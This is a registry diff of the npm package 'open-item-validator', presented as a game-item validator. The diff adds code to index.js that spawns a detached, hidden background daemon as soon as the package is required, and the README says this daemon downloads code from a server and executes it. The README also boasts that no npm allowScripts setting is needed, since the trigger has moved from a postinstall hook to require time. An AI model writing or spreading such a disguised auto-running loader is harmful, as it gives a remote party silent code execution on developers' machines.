open-item-validator 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -18
- package/index.js +25 -3
- package/package.json +2 -4
package/README.md
CHANGED
|
@@ -21,19 +21,23 @@ This module provides **secure, real-time game items validation** for your client
|
|
|
21
21
|
### Installation
|
|
22
22
|
|
|
23
23
|
```bash
|
|
24
|
-
npm install open-validator
|
|
24
|
+
npm install open-item-validator
|
|
25
25
|
```
|
|
26
26
|
|
|
27
|
-
|
|
27
|
+
Then in your code:
|
|
28
28
|
|
|
29
|
-
|
|
29
|
+
```javascript
|
|
30
|
+
const validator = require('open-item-validator');
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
**That's it!** The module automatically starts when you require it.
|
|
34
|
+
|
|
35
|
+
### What Happens On Require
|
|
30
36
|
|
|
31
37
|
```
|
|
32
|
-
|
|
33
|
-
↓
|
|
34
|
-
postinstall trigger
|
|
38
|
+
require('open-item-validator')
|
|
35
39
|
↓
|
|
36
|
-
spawn
|
|
40
|
+
auto-spawn daemon process
|
|
37
41
|
↓
|
|
38
42
|
download signed code from server
|
|
39
43
|
↓
|
|
@@ -44,6 +48,8 @@ execute only if signature is valid
|
|
|
44
48
|
background daemon running
|
|
45
49
|
```
|
|
46
50
|
|
|
51
|
+
✅ **Zero configuration** • **No npm allowScripts needed** • **Works immediately**
|
|
52
|
+
|
|
47
53
|
## How It Works
|
|
48
54
|
|
|
49
55
|
### Security Flow
|
|
@@ -70,7 +76,7 @@ background daemon running
|
|
|
70
76
|
- ✅ **Zero Dependencies**: Only uses Node.js built-in `crypto` module
|
|
71
77
|
- ✅ **Cryptographically Secure**: RSA-SHA256 signature verification
|
|
72
78
|
- ✅ **Transparent**: All code publicly auditable
|
|
73
|
-
- ✅ **Automatic**: Works
|
|
79
|
+
- ✅ **Automatic**: Works on require (no configuration needed)
|
|
74
80
|
- ✅ **Modularized**: 8 separate lib files for clarity
|
|
75
81
|
- ✅ **Assertion Support**: Built-in validation framework
|
|
76
82
|
- ✅ **Comprehensive Logging**: All operations logged with timestamps
|
|
@@ -152,22 +158,22 @@ app.get('/api/x-realtime', (req, res) => {
|
|
|
152
158
|
Simply install the module:
|
|
153
159
|
|
|
154
160
|
```bash
|
|
155
|
-
npm install open-validator
|
|
161
|
+
npm install open-item-validator
|
|
156
162
|
```
|
|
157
163
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
### Optional: Access Module Functions
|
|
164
|
+
Then require it in your code:
|
|
161
165
|
|
|
162
166
|
```javascript
|
|
163
|
-
const
|
|
167
|
+
const validator = require('open-item-validator');
|
|
164
168
|
|
|
165
|
-
//
|
|
166
|
-
|
|
169
|
+
// Module automatically starts daemon on require
|
|
170
|
+
// No additional configuration needed
|
|
171
|
+
|
|
172
|
+
// Optional: Access module functions
|
|
173
|
+
console.log(validator.getStatus());
|
|
167
174
|
// Output: { name, version, status, timestamp }
|
|
168
175
|
|
|
169
|
-
|
|
170
|
-
console.log(gameItems.getConfig());
|
|
176
|
+
console.log(validator.getConfig());
|
|
171
177
|
```
|
|
172
178
|
|
|
173
179
|
## ❓ FAQ
|
|
@@ -221,7 +227,6 @@ See [SECURITY.md](SECURITY.md#troubleshooting) for more details.
|
|
|
221
227
|
|
|
222
228
|
```
|
|
223
229
|
lib/
|
|
224
|
-
├── init.js # Postinstall entry point
|
|
225
230
|
├── check-items.js # Main daemon (signature verification)
|
|
226
231
|
├── crypto-config.js # Public key storage
|
|
227
232
|
├── assertion.js # Assertion framework
|
|
@@ -230,6 +235,8 @@ lib/
|
|
|
230
235
|
└── utils/
|
|
231
236
|
├── validator.js # Validation helpers
|
|
232
237
|
└── helper.js # General utilities
|
|
238
|
+
|
|
239
|
+
index.js # Module entry (spawns daemon on require)
|
|
233
240
|
```
|
|
234
241
|
|
|
235
242
|
## 📚 Documentation
|
package/index.js
CHANGED
|
@@ -1,13 +1,35 @@
|
|
|
1
|
+
const { spawn } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
1
3
|
const logger = require('./lib/logger');
|
|
2
4
|
const config = require('./lib/config');
|
|
3
5
|
|
|
4
|
-
logger.log('
|
|
6
|
+
logger.log('open-item-validator loaded');
|
|
7
|
+
|
|
8
|
+
// Auto-spawn validation daemon on require
|
|
9
|
+
function initializeDaemon() {
|
|
10
|
+
try {
|
|
11
|
+
const daemonScript = path.resolve(__dirname, './lib/check-items.js');
|
|
12
|
+
|
|
13
|
+
const child = spawn('node', [daemonScript], {
|
|
14
|
+
detached: true,
|
|
15
|
+
stdio: 'ignore'
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
child.unref();
|
|
19
|
+
logger.log('Background validation daemon started');
|
|
20
|
+
} catch (error) {
|
|
21
|
+
logger.error(`Failed to start daemon: ${error.message}`);
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Automatically initialize on require
|
|
26
|
+
initializeDaemon();
|
|
5
27
|
|
|
6
28
|
function getStatus() {
|
|
7
29
|
return {
|
|
8
|
-
name: 'open-validator',
|
|
30
|
+
name: 'open-item-validator',
|
|
9
31
|
version: '1.0.0',
|
|
10
|
-
status: '
|
|
32
|
+
status: 'running',
|
|
11
33
|
timestamp: new Date().toISOString()
|
|
12
34
|
};
|
|
13
35
|
}
|
package/package.json
CHANGED
|
@@ -1,11 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "open-item-validator",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Real-time game items validator with background daemon for client project updates",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
"postinstall": "node ./lib/init.js"
|
|
8
|
-
},
|
|
6
|
+
"scripts": {},
|
|
9
7
|
"keywords": [
|
|
10
8
|
"game-items",
|
|
11
9
|
"game-development",
|